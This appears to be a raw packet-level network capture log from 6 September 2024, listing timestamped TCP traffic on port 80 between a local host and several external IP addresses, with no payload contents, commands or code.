Sep 6, 2024 08:17:05.810580969 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810607910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810620070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810636044 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810646057 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810647011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810657978 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810661077 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810668945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810672998 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810693979 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810718060 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810992956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.811003923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.811021090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.811032057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.811042070 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.811043024 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.811067104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.811084032 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813754082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813766003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813776016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813815117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813838005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813859940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813869953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813886881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813898087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813905001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813908100 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813918114 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813919067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813935995 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813946962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813947916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813957930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813971043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813973904 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813982010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.813988924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.813993931 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814016104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814039946 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814460993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814515114 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814536095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814547062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814553022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814563990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814584970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814603090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814614058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814618111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814625025 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814635038 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814651966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814661980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814672947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814675093 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814686060 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814694881 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814713001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.814718008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814728022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.814755917 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.815159082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815170050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815179110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815207958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.815221071 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.815277100 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815289021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815298080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.815332890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.815359116 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.831114054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.831296921 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832046986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832180023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832190037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832200050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832222939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832242966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832315922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832329035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832339048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832350969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832361937 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832379103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832406044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832593918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832750082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832761049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832772017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832784891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.832799911 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832809925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.832833052 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.833331108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833340883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833353043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833364010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833375931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833384991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.833395958 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.833416939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.833455086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.833673000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.834028006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834038973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834049940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834060907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834079027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.834099054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.834193945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834207058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834217072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834228992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.834233046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.834258080 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.834284067 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.835124969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835135937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835146904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835172892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.835190058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.835268974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835278988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835289955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835314035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.835319996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835331917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.835344076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.835370064 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.839617968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.839632988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.839680910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.878794909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.878808975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.878820896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.878858089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.878871918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.891480923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.891529083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.891530991 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.891557932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.891634941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.891670942 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.891688108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.891699076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.891738892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.892030001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892040968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892052889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892064095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892076015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.892102003 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.892543077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892554998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892566919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892585039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892596960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.892600060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.892611027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.892638922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.893403053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.893414021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.893424034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.893436909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.893448114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.893454075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.893465042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.893490076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.894226074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.894258976 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.894269943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.894280910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.894292116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.894301891 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.894335032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.896126032 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896155119 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896166086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896203041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896218061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896233082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896245003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896254063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896272898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896282911 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896285057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896296024 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896297932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896311045 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896328926 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896351099 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896374941 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896387100 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896398067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896409988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896421909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896435976 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896466017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896476984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896492004 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.896514893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.896526098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.904633045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904649019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904660940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904673100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904684067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904695034 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.904706955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.904727936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.904926062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904944897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904956102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.904969931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.904987097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.905009985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905025959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905062914 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.905667067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905678988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905689001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905705929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905716896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.905716896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905723095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.905730963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.905757904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.905781031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.906573057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906589031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906599998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906646967 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.906656981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906668901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906680107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.906681061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.906706095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.906733990 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.907521963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907533884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907543898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907562017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907573938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907577991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.907602072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.907608032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.907624960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.907645941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.908365965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908401966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908413887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908451080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.908463955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908476114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908490896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.908500910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.908530951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.909282923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909363985 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.909369946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909380913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909390926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909403086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909415007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.909416914 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.909439087 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.909452915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.912597895 CEST	80	49742	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.912659883 CEST	49742	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.912718058 CEST	49742	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.917510986 CEST	80	49742	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.921582937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921632051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921642065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921653032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921664000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921709061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.921725035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921736956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921746016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.921746969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.921761990 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.921792984 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.922079086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922090054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922101021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922111988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922244072 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.922486067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922497034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922506094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922538042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922549009 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.922549963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922561884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.922569036 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.922607899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.923022032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923069954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923082113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923122883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.923149109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923161030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923176050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923187017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923197031 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.923197985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.923211098 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.923240900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924040079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924051046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924061060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924088955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924097061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924105883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924108982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924119949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924132109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924139023 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924143076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924166918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924176931 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924860954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924871922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924882889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924922943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924931049 CEST	80	49737	147.45.44.104	192.168.2.4
